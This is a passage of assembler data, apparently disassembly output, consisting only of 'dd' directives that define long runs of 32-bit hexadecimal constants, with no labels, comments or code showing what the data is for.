		dd 947928EFh, 54009176h, 0E6C01F84h, 61FE90C3h,	0EF4D80B8h
		dd 6329802Fh, 1DE4D79Fh, 37AF01C8h, 6204894Fh, 0F4DC20C5h
		dd 0F6DE0101h, 0B43F0C6Ah, 6D000023h, 0C8039115h, 0AC00AE77h
		dd 0E4DC478Ah, 6FBC93h,	486594D9h, 17F4FB15h, 39C035EEh
		dd 0F049FCBFh, 6E11C033h, 0E86BC246h, 0E51EB300h, 0D9723F0Bh
		dd 42F080A4h, 34C329C0h, 33A8240h, 0FD29998Eh, 60015964h
		dd 0B7775206h, 0B020A88Bh, 191C20CDh, 2B1DA305h, 0F4451F3Fh
		dd 985D9718h, 2DCB3840h, 623C2B14h, 7C2210Eh, 0B12FCE20h
		dd 7EE40066h, 121458A8h, 48E0814Bh, 0C3021A7Dh,	1620513Ah
		dd 2F09C2B6h, 1177C0FCh, 18DF5865h, 58211422h, 61C016DDh
		dd 6804C5D4h, 2E4000FEh, 6DB7DAB4h, 6A3EC753h, 9C18853Fh
		dd 0E043C558h, 3B1E97BCh, 0B9EF1591h, 0B6BF4500h, 0FB3B19B8h
		dd 0B1C30677h, 3395AEFh, 0CDF470Dh, 3103BE1Dh, 0A3AFF79Bh
		dd 0F8ABE8BAh, 3EFE69Ah, 0E5A7CC9Fh, 2900432Ah,	808FB1C4h
		dd 919C17C9h, 63940078h, 1535F966h, 3B77AC03h, 0E4791451h
		dd 898E0887h, 66D810DEh, 6EB82778h, 760E1050h, 0E0A46CB1h
		dd 0C6E67946h, 67110615h, 0D90FC097h, 189543Ah,	936C8A42h
		dd 40D204ECh, 1190E570h, 1EC1BCh, 0D08832D1h, 9CB0E89h
		dd 0BD1C78EFh, 560A8C20h, 630076E6h, 125C9C04h,	319913Fh
		dd 8B8F666Fh, 302607CDh, 0DD9F70DCh, 3830B1B0h,	0D0F8182Bh
		dd 10FD7C59h, 95466F00h, 3BC067B5h, 0BBF40D11h,	4C892C9Ch
		dd 9A00809Ch, 6CB1157h,	869C65h, 0F1083BCEh, 0F0970240h
		dd 94E6B603h, 0AAB151Ch, 89DBBA8h, 3E1124h, 6ACA750Fh
		dd 5604704h, 7B24FCF1h,	0B0C40091h, 2ABB431Fh, 8369526h
		dd 90D7BE8Ah, 0B0052035h, 0E040C7C2h, 0B4C6A362h, 30700F4h
		dd 9949696Ch, 2090C0BAh, 98A99EE6h, 0C44C24DDh,	2F3C8A1Ch
		dd 407E7401h, 308887F7h, 0B611A8B8h, 77C1C80Ah,	42115Ch
		dd 0C06A5868h, 125E2F9Ch, 0ACB3AA0h, 1C1C28h, 2EF647E4h
		dd 2D0059F2h, 0FB5B9662h, 3F6349EEh, 748C8FFAh,	2B51409Fh
		dd 0B2814491h, 1BDDDEE9h, 3F8EA980h, 0F5DB7013h, 6B746662h
		dd 88EF4124h, 970C97C4h, 0C11841F0h, 158839B3h,	51C362B5h
		dd 946494BBh, 4B7BDF7Ch, 402B1C0Ch, 67C2718Eh, 17211Dh
		dd 0B6E7848Dh, 652B6F0Fh, 0CC04F224h, 805EC4E2h, 70E55573h
		dd 2644F0E9h, 0A8E00045h, 0EB85D41Dh, 1E00C789h, 79E7CD75h
		dd 288F4h, 95420D03h, 1C8F6763h, 0C0706548h, 33380BE2h
		dd 85C00057h, 650C78A4h, 40155DA3h, 3C8414DDh, 24AC8537h
		dd 60C17ACBh, 85E5BEC6h, 0A12845ECh, 51A0CD80h,	33AD45E0h
		dd 0B73600A8h, 0AB55CC96h, 237C00D6h, 4D20EDFFh, 2D3D7105h
		dd 19E604F2h, 0D89717h,	262AF6A3h, 738BB13h, 8CF01C83h
		dd 72036621h, 1903E4E5h, 0F8AA906Dh, 56EE021h, 9A921C8Bh
		dd 34A082B9h, 29DD0D21h, 91B2C850h, 78C15C82h, 0D8BF5473h
		dd 0B11E67DDh, 68CE2F0Ah, 0BA1C3F83h, 1EBCD100h, 0E433C039h
		dd 0F4143E40h, 1C05AB81h, 0FC1DA25Fh, 9A0C3CA7h, 791BC166h
		dd 8D020043h, 6BBED726h, 4D26E114h, 0C10CE06Ch,	26CD592Bh
		dd 1168785Ah, 31D7071Dh, 0A03D1C9Ch, 296520E2h,	680314F9h
		dd 0DE950E87h, 38317A17h, 0A0800A01h, 66C6BD4h,	67782EDDh
		dd 3FF07909h, 383C024Fh
		dd 0C4E622h, 0DB7106BFh, 7756ABA1h, 18725F16h, 0B612C1Fh
		dd 28909B17h, 0BC020B2Bh, 0C713777h, 0A044F0h, 54AEAFEAh
		dd 0A23E6403h, 282C7A12h, 2066DD09h, 31B0C810h,	2BBB12EEh
		dd 7E82412h, 0E08EA620h, 0C347D2CDh, 6E0C1B00h,	6AF8DF48h
		dd 9B02281Dh, 4C7A5CA8h, 7EAE13C0h, 0E2EB94FAh,	0C3160C48h
		dd 0D1B9C566h, 0AEC0C479h, 167882F3h, 0A505BC20h, 19EE80h
		dd 9FFD5BFFh, 4B0EDF1Eh, 1C47A002h, 0A718DD0Ch,	39409B94h
		dd 8BA991h, 2F8599A5h, 634F8EF9h, 2BE90B13h, 2864BB00h
		dd 54533CDh, 547680AFh,	3E940155h, 20250FD9h, 344495E4h
		dd 27470911h, 0CC843708h, 0A8045220h, 4011A8B1h, 0E000D3Eh
		dd 0BE168F92h, 0E90160EFh, 0F9B9C8E7h, 41DE7138h, 1908B2B8h
		dd 7FEB2388h, 0BDAC0032h, 0D3FFFDA1h, 0A7001F59h, 0B448A592h
		dd 0FCCCED31h, 0C5351244h, 38943018h, 0E54CA80Ch, 0EF4812ACh
		dd 0F2FFB820h, 69DA0029h, 0EA825023h, 0EB1E54D8h, 150594AFh
		dd 0C047C6B4h, 0CD254777h, 187350C9h, 0DE93EB06h, 0B600A923h
		dd 60C59299h, 0F0635128h, 0DCAE24E4h, 758D406Ch, 0BD003759h
		dd 7D479B3Ch, 7D8D114h,	109A961Ah, 981772DCh, 1F07C4E0h
		dd 69C0C17Ah, 1BA3FA16h, 38CE0673h, 0C923EF3Ah,	6E3EFD74h
		dd 8A6087E0h, 0D6305AB3h, 50DA426h, 31D27AAh, 0C48010B4h
		dd 0F7CC59C0h, 0A6161066h, 0D00BBCBh, 60D76207h, 4993007Dh
		dd 27B6CC78h, 0DE586C11h, 5D828074h, 0D1D55Ch, 0FC9BD02Eh
		dd 6ACCFD77h, 0DD52C8B0h, 0AC0E7584h, 60114230h, 7F562B25h
		dd 48710FE6h, 9AC00297h, 49D2756Ch, 0CD1F911Fh,	0DA638426h
		dd 4A80FCDBh, 0F7069Eh,	445DD41Fh, 0DF54F54Eh, 0B2409807h
		dd 0A500B777h, 1E659AE0h, 8B0B973Eh, 538F7E24h,	45A80397h
		dd 919250CFh, 13B68E8Eh, 0A9544079h, 14DEB542h,	0C232CB01h
		dd 73E5AB49h, 0F52BBC43h, 0B1EFA08Ch, 9E1B024Ch, 0C0FFA1CFh
		dd 8529FDh, 15F6AC2Ah, 0B30F9A8Dh, 926F5F70h, 51161680h
		dd 840C7808h, 90B91D78h, 3567026Ch, 0C084AA00h,	6FFF2523h
		dd 0BC8C02D7h, 0DDFD2949h, 0F4B1B452h, 84E31801h, 5C30E747h
		dd 21B46040h, 644291AEh, 2A9B7909h, 94A86841h, 65930FE2h
		dd 0B84D06Ch, 2838A2B1h, 358441Ch, 2600754Bh, 62AFC107h
		dd 0E3CD7BFh, 8EA03EE0h, 93DF5060h, 100A2DCCh, 0B048740Ch
		dd 80A5BF0Eh, 84D2ECB5h, 0C7DD3494h, 3DF0C291h,	0B8B94010h
		dd 8CF89120h, 0FDA8D923h, 0C092B189h, 489020DDh, 4E380C30h
		dd 0E9DA00D3h, 80D522Dh, 0E58F0A9Eh, 1CF7DDh, 1B02B578h
		dd 0BF1D7A22h, 0B0C9994Ah, 414C9A17h, 0FC244B7Ch, 190A60C1h
		dd 137585C3h, 176A3Bh, 0A80E2A76h, 12CA2D1h, 9A309D91h
		dd 0F4E45D3Eh, 6CA3073Fh, 1D222CEAh, 72A0A0B0h,	0B9B7D6h
		dd 847E874Dh, 48887A21h, 8C436804h, 84AAA5D9h, 0ED90A565h
		dd 0A6491021h, 0F807F056h, 446E4A72h, 0E39617D4h, 933BC490h
		dd 823F0EC2h, 891E4210h, 25946450h, 9422AC1Ch, 3C11169Eh
		dd 0CBD72910h, 7BAE9D00h, 0BC755081h, 8DECB9A1h, 0F9F0043Dh
		dd 3A6988C5h, 35884F20h, 640F9496h, 0B51F11BDh,	0D4B2C1FBh
		dd 8013C092h, 69605C51h, 0ADD3C3h, 0ED631E26h, 1CBFE08Ch
		dd 0CCA4B754h, 29032800h, 925BCB06h, 0B9E40014h, 5254C1B4h
		dd 367B5E3Bh, 6C09958h,	1ADD385Bh, 35570091h, 52889EDAh
		dd 6409DB62h, 0AE75A8h,	93D8BF3Ah, 0B84C61AAh, 11C7659Bh
		dd 78509DBCh, 1529639Ah, 0B4627BC1h, 0AA48116h,	0B0A440CCh
		dd 0D10BA640h, 71C40496h, 0AD001F28h, 14EF43BAh, 8CF6794Bh
		dd 0A0888958h, 54E6E4h,	0B4DCACC9h, 0E2A17B78h,	7E0D5300h
		dd 9AC16C2Dh, 9044943Bh, 8F1F88B8h, 0BE434A74h,	64CA0DBBh
		dd 0B0018C6h, 0BD99EBDFh, 9885538h, 7065E991h, 0B2A78824h
		dd 234E0040h, 777D7514h, 4E16681Ah, 1C221134h, 0FED1D4h
		dd 0A6FE9ECFh, 0B1CC84E6h, 40AC2E88h, 0D1EADF6Fh, 4FE9F800h
		dd 350B6990h, 0B1BB0551h, 0CC14402Ah, 817ACDD8h, 10C31526h
		dd 50CAC167h, 91024011h, 25E1B03Bh, 304134E9h, 0EB8872ACh
		dd 184B0FB6h, 64A92B1Fh, 10124469h, 3831F4A1h, 0F58F2CDAh
		dd 85C3751Bh, 213914C1h, 0F26D03FEh, 0A8C79DB1h, 4AFF0D81h
		dd 78A814BEh, 2B753F22h, 9990B891h, 0C36BBF84h,	48CD2BACh
		dd 95419E10h, 99A875DEh, 942844D4h, 7D34600h, 0A54E3954h
		dd 0DA71012Ah, 5F409513h, 3E182C1Ch, 44726EAh, 14E420CDh
		dd 40489694h, 0CCAE9AB6h, 0F9002F76h, 8E8950E1h, 1F1A30Ah
		dd 71442036h, 0D479D9FBh, 0EAE4BC6Fh, 0C0EC9458h, 0B0CDBADFh
		dd 9C87FA5h, 7EF00713h,	0B51D00A2h, 93005CC4h, 1C584A73h
		dd 0F6D17h, 0A12DFD92h,	0A83DE6CAh, 1D91B496h, 4BDE460Eh
		dd 9A916920h, 3103B1B9h, 99B2C19Bh, 24A6A51Eh, 14C8245Ch
		dd 0A4C0B743h, 0C6A36400h, 0A45C8694h, 170178F8h, 49CDFBA6h
		dd 0AAF96F8Fh, 89C53860h, 7C7823CCh, 5AA839F5h,	3F785820h
		dd 83AF071Dh, 214544ABh, 0E024E53Dh, 7091CBDFh,	6009D112h
		dd 1B1CB99Bh, 0F600C822h, 58799966h, 270B5E8Ch,	132232Fh
		dd 37E6C1C0h, 0CE788083h, 46DA1579h, 0A0001851h, 0BF6569ACh
		dd 66491FF1h, 2EB39E2Dh, 0D41025C0h, 0D43038F3h, 882DAE7Eh
		dd 8E100EFFh, 4D60B88Bh, 3771709Bh, 0EB7F8617h,	0F8C8C812h
		dd 27420275h, 0AE8ED59Bh, 0FF3D3B60h, 12B0EC1Ch, 9105E941h
		dd 4200688h, 17713C0Ch,	3F05C853h, 14B615B4h, 1E22BC74h
		dd 0C860E494h, 980EDC2Bh, 4E1D4440h, 0D2F6FF00h, 3E594070h
		dd 65031391h, 0CA3C3048h, 0E013711Dh, 5001C38Fh, 9A17BD80h
		dd 462B1041h, 2180A868h, 9B17B981h, 0C54E21h, 653EA567h
		dd 240C5BF3h, 81349FBBh, 31004EBh, 0E233E45Eh, 51543098h
		dd 0C029F049h, 0F748AC19h, 0B9078EA7h, 6CD68256h, 0CB881970h
		dd 0ECC70F0Ah, 7100BF96h, 758B83Eh, 931C4F73h, 8A9B4A53h
		dd 5DC7D808h, 84F903E3h, 6AD74C1Eh, 82593789h, 0C66EA28h
		dd 0E5030F47h, 5AA936CCh, 4C18F0F8h, 0ECED19C0h, 7C8F3B8h
		dd 0F21CF5Bh, 700C8663h, 8C5328C8h, 55508376h, 0C33C6A88h
		dd 0A335FB69h, 0E88F9BF9h, 0B3008830h, 51287FAAh, 180D4904h
		dd 39576AF5h, 2F00FE84h, 22913A4Dh, 0FC6EB494h,	4B0603BFh
		dd 0B5F36C2Bh, 3E90DDC8h, 5C6A5911h, 0D4535E00h, 0F4973FC2h
		dd 0B7206D03h, 0C06BF0CFh, 295CC694h, 11907DCCh, 0D52E0090h
		dd 3F24B7A1h, 4770037h,	0AECF1C73h, 0F20A88EAh,	0ACC25C6Fh
		dd 90146340h, 1066144Eh, 3F227462h, 0B5D2E52Ch,	5DA90D00h
		dd 1B165BBh, 0B9EA0974h, 863ED190h, 99EE4129h, 0DFC7F881h
		dd 7C621149h, 6A3814B0h, 45888041h, 8AA45557h, 21686063h
		dd 94381996h, 0E6AA7C0Fh, 1C3D60B3h, 3F01D50h, 0A4EE1441h
		dd 88CCEA98h, 0A300D704h, 4BFFCB38h, 281BAAC0h,	32864F3h
		dd 0C266B211h, 81C0F7ACh, 0E800A77Ah, 1929E0DAh, 30B0F2Ah
		dd 0C604FEFh, 98F68DBAh, 416A6330h, 1B2EA1Fh, 0DF74F3A8h
		dd 0E094FFA7h, 0F0055B3h, 2F878EC8h, 0E96CE3Ah,	0BC65C93h
		dd 8F22C4B5h, 210FFD00h, 0A270D9CDh, 0BB77C7h, 0D151106h
		dd 42166652h, 525C4B40h, 5401C8C0h, 66368514h, 4F20E20Bh
		dd 0E602E63h, 6AB9514Ch, 44A119F8h, 4D3B8EB8h, 0B4A807D0h
		dd 9191CD3Fh, 0C0DB83BEh, 30E889F9h, 46FAEBF4h,	1733694Ah
		dd 98F37904h, 34244D8h
		dd 0F1EDBFF4h, 0C03BD6CEh, 81A6B541h, 18C1F909h, 18890C18h
		dd 218750EBh, 0A50078DCh, 95305E13h, 0C5E3EFh, 0E0F0DA27h
		dd 0C3FCCB21h, 6A39A50Ah, 0E9003CE6h, 795C43D8h, 89123ACFh
		dd 0C3F2509Fh, 0CA905607h, 12E88CF4h, 0DD7A4C44h, 416043C8h
		dd 811882DBh, 80215F6Ah, 996B007Fh, 27B8B2E9h, 0D6F4E4BCh
		dd 56226A14h, 0F8EA24A0h, 0F278A500h, 2242F340h, 69EE7DF1h
		dd 24793D60h, 0E65A19h,	894F954h, 264D6313h, 2AE7E124h
		dd 7EC9C002h, 839882F2h, 52C80F46h, 20D15A0Eh, 0C75C9969h
		dd 0C19CAB2Dh, 0A9A0440Ah, 49F20780h, 5061C6E6h, 7EDB4211h
		dd 22AC89D4h, 6B633039h, 0F1343E41h, 0C7448C00h, 0F99E3C42h
		dd 20D005Ah, 0DE639F2Ch, 90AC888h, 0B4C4906Eh, 0F241539Ch
		dd 6C635FC0h, 6E504980h, 6A6874F6h, 7A2982EDh, 8281D841h
		dd 1132D340h, 74CB106Ah, 0FE4D00CEh, 82EC5AD2h,	58008A2Dh
		dd 0C154B7F4h, 4F215F3h, 6A97AEC6h, 0DFFC4044h,	719C438h
		dd 0AAEB20EEh, 405EF56Ch, 507FAB84h, 420053E8h,	1D0F82DDh
		dd 4DFD30Ah, 6A8FB6C5h,	576D413Bh, 0F4E8427Ah, 80B301F5h
		dd 51F2589h, 0CF9FE0F9h, 0E36A5C1Bh, 2088AC59h,	1C7D00D2h
		dd 0AED85556h, 0F275CC09h, 72634719h, 90EB66D9h, 0FE4FBF0Dh
		dd 0A62118ABh, 99F38154h, 9D0C4A00h, 47C092EBh,	6CDA2852h
		dd 91AAFCF8h, 354A01Ch,	0CA3C85Fh, 4888ED45h, 5400CF8Ah
		dd 386C578Dh, 99505923h, 0AC4F0010h, 0FC442EEEh, 5CBCA200h
		dd 0F2FB70AEh, 402090CFh, 54888F94h, 12149BD2h,	41146163h
		dd 0C08822E4h, 0CE98CCB0h, 6EA90014h, 0B72BE369h, 7402288Eh
		dd 91920CB9h, 0E4964160h, 91600AC9h, 1CF8905Bh,	44F23699h
		dd 0C26121ECh, 0EB89563Ch, 397E3C20h, 0C0BDA37h, 101AC570h
		dd 0CBF3B8h, 5EF26B3Ah,	0C35D5B12h, 30392091h, 0F6B2A191h
		dd 0E072C8h, 2F9AFF41h,	774F3FFBh, 0AA64EB0Dh, 0F423705Eh
		dd 0D680D83Ch, 0F6CD952Dh, 0F248C631h, 0E9222DCh, 0ACC54F5Fh
		dd 68AC4092h, 0C5D93E5h, 54B084F0h, 245BB426h, 4F035311h
		dd 4B6B1AEBh, 82201100h, 48A9666h, 23A812EDh, 0FC982064h
		dd 0AD00351Eh, 0C5F3C258h, 0EE3D205Ch, 0F2A10FD6h, 6A44B9FEh
		dd 0DC494043h, 1DA56C9h, 798F74E3h, 80486BC0h, 0E6987669h
		dd 1C2E0DA4h, 47B5463Ch, 23F1F3F6h, 29CE6AB8h, 753BB17Bh
		dd 0A1A0D884h, 410042A1h, 0D1D298F2h, 904B980Eh, 96504E0Ch
		dd 3000DE19h, 76FB6F1Bh, 35CF2EAh, 0BC03C0F3h, 6AE139E1h
		dd 73718049h, 1886BAF9h, 15CEF4EFh, 48B92163h, 6FA57500h
		dd 6B640D82h, 7B7388h, 41B402DFh, 90E22CB6h, 0E75E8203h
		dd 0E049D818h, 5C93F25Fh, 0E9A050CDh, 9700FF2Bh, 4D055D99h
		dd 37F14D4h, 1CB432D9h,	7950A551h, 600B45A6h, 19EA929Ch
		dd 0E8306738h, 572A002Bh, 0A108F873h, 0A8002F0Ah, 3C1CEA9Fh
		dd 11EE5A42h, 188669F2h, 0AF896663h, 0FB0E0011h, 1B807C28h
		dd 400057DFh, 77AF2F5h,	9097A54Eh, 697E44B4h, 8BB81658h
		dd 7B78906Ah, 4E507E9h,	302AEEFCh, 0E6564120h, 91181606h
		dd 0F72985D1h, 66045423h, 0CF6A0550h, 0C6F300B0h, 3745E9B1h
		dd 0F4130F75h, 6C89823Eh, 0A3A5BD00h, 1564AA26h, 63462C61h
		dd 31394173h, 0BB128025h, 35DE62D7h, 294A27Eh, 298BF244h
		dd 494C1084h, 0CD3C04EAh, 66ECF340h, 8A05F0Ch, 61D46F64h
		dd 0ED510326h, 0E5F283B8h, 2085EC32h, 1472F61Eh, 9DE2C500h
		dd 0DBD0B847h, 0C83C02A7h, 29CF526Fh, 21944040h, 885D3340h
		dd 810090E4h, 0FAE5E373h, 0FD4EF9h, 4553A0EFh, 0C75D4459h
		dd 0C5B874A0h, 0E542EC19h, 0F4425811h, 0AC032B2Fh, 4AE4480Bh
		dd 690B60C3h, 0DE249013h, 0C68F03B4h, 6054485Bh, 90C26A09h
		dd 5CA418DDh, 83EC91BAh, 30632B73h, 7EF21DC8h, 18796F58h
		dd 0D2314969h, 0FE41091Bh, 7C013167h, 3218668Eh, 0EBF30330h
		dd 0D82B20B8h, 75F297EEh, 0C11560F8h, 45C57B93h, 4F1FF30Fh
		dd 806AE8C0h, 6DD8F453h, 7E3F6FA9h, 0B9528799h,	805FC8F3h
		dd 0C57F3C78h, 0C0F112E9h, 66EC2223h, 0D6F2E480h, 0E737414Bh
		dd 0D2B0698Dh, 1F9B77Fh, 7B5D71D1h, 206EC4F2h, 661207B4h
		dd 0E888DC90h, 0D04286DBh, 0A0F0587Dh, 8BEE410Ah, 7AD1002Ch
		dd 401E0774h, 0C95AB81Dh, 80696A9Ch, 261A1300h,	5A7D2D4h
		dd 9CB3AB0h, 5254D866h,	457B0C9h, 914398F4h, 0D4F0045Ch
		dd 0E55C450Eh, 804F3295h, 1C5963h, 552830FFh, 960014BFh
		dd 0F95C3923h, 783EBB48h, 0F311127Eh, 3B430F2h,	21009C65h
		dd 1A4454B0h, 1CB5C805h, 0C0EE55C2h, 2490D87Fh,	0ECF4B9F4h
		dd 0F2B8530Bh, 88908489h, 0D9616A46h, 0F5CCEB03h, 0F84C9E5Ah
		dd 7F0C97B9h, 248FC3Dh,	3B26D35Bh, 0B441841Bh, 603251h
		dd 36B26C03h, 458AB7h, 177185ABh, 0F35AC9E9h, 7F00C6B8h
		dd 0EDC58635h, 2C0CCFF1h, 3C64EB83h, 0EA3ED0D2h, 0AB004548h
		dd 9BE96BD8h, 0AAD4BBCDh, 3B460F8Eh, 4FF3A06Fh,	0B9CB90B8h
		dd 40042EC8h, 4B7A9AB5h, 0DDFCEBFCh, 5D2B7E06h,	0E42169C6h
		dd 5BB1C08Ch, 6D38F624h, 78153C00h, 56EB1073h, 41A30326h
		dd 456A9968h, 6FFF610Eh, 0B7C58744h, 0C8B090D3h, 62C35BE9h
		dd 0F69596Eh, 0BF057C46h, 36F6E0ECh, 104898h, 0C5BCCEEAh
		dd 171213D9h, 88458C40h, 8014DD4h, 0B82D9895h, 0B436A360h
		dd 42225B1Dh, 0BDDD0DE4h, 0FB769C40h, 8040505Ch, 388B5D4Ch
		dd 8322603h, 0DCC205DDh, 528FC079h, 60676A29h, 67A01769h
		dd 6597A6h, 0C149B44Ch,	767CA1AEh, 36F36C02h, 61BDC739h
		dd 0F4106694h, 0E300BA6Bh, 0B32DCC50h, 0DE0514h, 4369CE6Eh
		dd 0DDF22FC6h, 40BE6FCh, 825F4855h, 0E6660A50h,	4E2807DCh
		dd 0C0CA56CCh, 26EC947Eh, 6A7C720Ah, 7D80B447h,	0ED68AD52h
		dd 5D3B0AF2h, 44DC81CCh, 49B94084h, 96D7CDF6h, 0F17D009Dh
		dd 0B0248EB1h, 1F1DBE02h, 42ABA055h, 0A14864C4h, 87109154h
		dd 0DB00E669h, 65F19E2Fh, 2597CC8h, 0F0931803h,	0C4E1BABEh
		dd 82003188h, 0E45B2E18h, 0F1C4450h, 9D4F4C9h, 66AE005Fh
		dd 0B8A2EF8Bh, 0EC20BD4Ah, 1E5D9D26h, 0C1CEE7DEh, 0AFEFA0CAh
		dd 5A44F0D0h, 54E62FEAh, 77C55D18h, 0F31969E1h,	3D22C862h
		dd 7F3BED00h, 49FA36F2h, 1D734Bh, 0C5C1EFDDh, 3C08C6A4h
		dd 0CCCAB200h, 4862862Ch, 5D122869h, 90A424h, 87F83E28h
		dd 35261C0Fh, 0F2297C00h, 0C2558D75h, 58C5225Ch, 4F5C5476h
		dd 39D1A1D0h, 6BB95700h, 73D5891h, 0F498B4BEh, 0C887B7C4h
		dd 0ABEB84C8h, 0ECBCF46Ah, 2435B500h, 3F114309h, 802607BDh
		dd 84E83A70h, 0DBAC80E4h, 0F0905756h, 0FB1C1C88h, 0F3B1013Dh
		dd 22B83600h, 4698DD9h,	2B5F16E2h, 8C0465A9h, 0ECC77CECh
		dd 0C46589B9h, 610B5BC0h, 4E721668h, 5D3400C3h,	1B3A96B8h
		dd 0BE5CE8C5h, 256938A4h, 0B8B85E0Dh, 8E0010DBh, 5D5CBD1Eh
		dd 9E8C26E7h, 6AD60A5Ch, 70003818h, 0A7CD3554h,	7102A30Eh
		dd 0ABF9ADBCh, 0F370A1C3h, 43CD59C7h, 4C70F5D5h, 0FA7A8953h
		dd 0A85BA0C2h, 263A3A10h, 60F88FAEh, 863F0BB7h,	0F1575A01h
		dd 1FD101DBh, 4C8032CCh, 84220CBDh, 74B2C500h, 0B659480Ch
		dd 1B2A0067h, 0C650BD3Eh, 6013D5DDh, 243397BFh,	2470E896h
		dd 63A801D0h, 27B02DFCh, 0DCD1F5E5h, 61441066h,	64CA375Ch
		dd 9C132B91h, 28AE5AC8h, 0DA8F500Bh, 452884ABh,	0EBAA1140h
		dd 3D1CEA18h, 0ACBFA1BEh
		dd 382B6492h, 27389988h, 0A8591410h, 83C8F700h,	1D6D8161h
		dd 33EB00DEh, 4ECD346Bh, 5C2CB223h, 0B84104CBh,	0A1D7EDC3h
		dd 0FC60840Ch, 0C65B847Bh, 6063784Ah, 6EFA4800h, 22A78h
		dd 79EF3341h, 6B4EF1FCh, 5651E800h, 2B1D7660h, 5B75025Ah
		dd 0EA920C61h, 542064CAh, 828F79FFh, 968C8400h,	0F40B22BFh
		dd 0E0D5025Dh, 5731EABh, 220DFCA4h, 7C20A07Bh, 165EF1h
		dd 4CCEEBBBh, 32903D6Eh, 0A8C9807h, 69DEE71Ah, 0E424C44Fh
		dd 791E029h, 0D0BF050Eh, 1C046B39h, 0B0135398h,	6BEC9C8Dh
		dd 0F180A842h, 0A59702B2h, 5B8FCB28h, 0D20028E6h, 70CAA6F8h
		dd 0BC8526h, 0DA91229Eh, 9B51AAA1h, 831A7902h, 446B19C5h
		dd 99F10058h, 0F8B24D37h, 0C70A0E62h, 0E48910C4h, 9B006911h
		dd 0BDF2E617h, 3A00329Ch, 15A3C05Bh, 9A21814h, 6B4356BFh
		dd 19CF8090h, 80B10500h, 751A6EDh, 5ECC0040h, 44AC621Ah
		dd 0C18E427h, 1BE1486Bh, 2FB7006Dh, 0C7F9848Eh,	1448668Bh
		dd 0CC02D3B0h, 403972E3h, 943B7C4h, 641AED70h, 34CDC448h
		dd 58AE3Eh, 0C2A04784h,	12C4F260h, 45D3EECh, 0A5D290E0h
		dd 922C4290h, 0C7DF5B20h, 547212C3h, 9B3C0048h,	0F3441641h
		dd 70D640CFh, 72C0B458h, 0B55D4706h, 2D3C7800h,	89AD0DF0h
		dd 584601AEh, 2128CFF9h, 49304094h, 0AAB8668Ah,	7B0B7494h
		dd 0C98C9888h, 0D671E45Ch, 0C69009C9h, 8430C89Ah, 361CE276h
		dd 25BE86A3h, 0CA2C9118h, 2A840A0Ch, 3C8416Ah, 0FADAD916h
		dd 0F0A0D3BAh, 0E900237Ah, 0A3B975D5h, 0B16626h, 0CA17390Eh
		dd 0E119280Bh, 0D1313C0Eh, 38FFA181h, 25702BF3h, 2DE93040h
		dd 51801120h, 7D001A72h, 0A9773A74h, 0ACC727h, 703ECB88h
		dd 655F96B5h, 1583C64h,	7542D540h, 51047C54h, 301545EFh
		dd 0E81D3EC3h, 76DE31D2h, 60E8F4F7h, 0A5916937h, 900BB2Ch
		dd 0C844172Eh, 0B1A47Bh, 51B96B0Bh, 11EC9037h, 16CA60C6h
		dd 72520769h, 0D0CD4159h, 4C8C6D2Dh, 17F1E603h,	0E78E37h
		dd 0EC994131h, 89309545h, 0D9DCCB03h, 0A0D61691h, 0D2F11A8Fh
		dd 8C9E1028h, 9A377181h, 6B4180E0h, 0D5BA88EAh,	0B13268E8h
		dd 42C200FFh, 0CEB2C054h, 0FEB95B00h, 79662770h, 3B4A905h
		dd 0CBD6FA10h, 6AA8E800h, 500E9C25h, 4EE2C92h, 4D813909h
		dd 0E8B02024h, 3B61802Fh, 0A0A1D947h, 3D60A52h,	912C5EB3h
		dd 7083000Fh, 2DDFA712h, 27F1004Fh, 0E6FE49A4h,	6A2A102Ah
		dd 8F426809h, 0DD344230h, 0EE3190DCh, 0E5321921h, 61AB21A8h
		dd 6ED608DAh, 0F012C1F6h, 8C30D8B9h, 2E0110C4h,	6B7C26h
		dd 859FCA88h, 3E241897h, 0A1158903h, 0CF6AC0Eh,	0D631059h
		dd 2E60E889h, 0E41FFCE1h, 0B47303AAh, 32278AFDh, 3E0081FEh
		dd 0D925C686h, 502A7h, 222C526Ah, 0FD73E799h, 35E9E018h
		dd 5F6849h, 645ED4EBh, 200B8AB7h, 633BE400h, 138B32A1h
		dd 903F00C1h, 1EB28501h, 0A70A9A95h, 8C1A8E3Dh,	9013110Eh
		dd 0CDDE4D00h, 0F5E4AAC0h, 873D17EAh, 0C2730098h, 0D2608923h
		dd 77D84h, 8DD6E761h, 0B8884DC0h, 0F5DCC8F1h, 0FF8A4600h
		dd 1126DFBAh, 259C10Eh,	40A2661Ch, 2D52F79Bh, 71CE2100h
		dd 97A33B74h, 91D3019Ah, 0E926BBFCh, 0D9D98034h, 76A3AA4Fh
		dd 980DB838h, 6E6D146Eh, 1722A824h, 0F0A90E22h,	0EA6103C3h
		dd 672559A0h, 19700ACBh, 0E4CDA300h, 2C64EF60h,	0B6930381h
		dd 0F1FB49A6h, 0E26134E0h, 149EA000h, 3347B306h, 593960E8h
		dd 18F702C5h, 0ABA7D603h, 807AC023h, 17623D09h,	1357FCh
		dd 958E16ADh, 7BEA90AAh, 5A00D971h, 0A8D36BB8h,	3D87E58h
		dd 9EEFEC1Fh, 94A0CFF2h, 0DF052191h, 0E69536DEh, 0F362FC40h
		dd 0AB0674h, 88B5152Ch,	0A6308F2Fh, 9A4ACD0Eh, 319980FFh
		dd 1DA9318h, 7DD840EBh,	0BC91792Eh, 0BF21E708h,	80B82BFEh
		dd 85BA3931h, 229B0008h, 0E51544FAh, 0A0001CE3h, 0ED3258B2h
		dd 390F0E23h, 0F873611Dh, 48D460B5h, 0B1DCFC1Bh, 10F83333h
		dd 410AB051h, 0F1BC06BAh, 8B4B29Dh, 0F2212660h,	0F00AA8h
		dd 4D8CE7D5h, 3AD794BFh, 44C32306h, 28319Ch, 4F3B8412h
		dd 0CFE95191h, 13199960h, 203F5365h, 337C56C1h,	9B25AF18h
		dd 0ED7921h, 0E810913Eh, 0F018D217h, 328108C6h,	0E55A0720h
		dd 1FF2E93Eh, 8B637AE0h, 451F3C3Dh, 5587FD1Dh, 6990D41Eh
		dd 0E1F657Dh, 71BCADF2h, 6B1D5220h, 0C500248Dh,	2F1EEFF3h
		dd 0C31A98C3h, 361CE10h, 239C0EF0h, 9FABE402h, 0C05D157Ah
		dd 9BD71Fh, 2AC4F47Eh, 0D4B4A23Bh, 8E05D500h, 2212C0BAh
		dd 0EFCE1301h, 82DA005Fh, 545A371Dh, 0D475BF07h, 0F4409E0Dh
		dd 1E6A5076h, 0C0AD0197h, 902C81FBh, 0DA00B673h, 4EFA8D6h
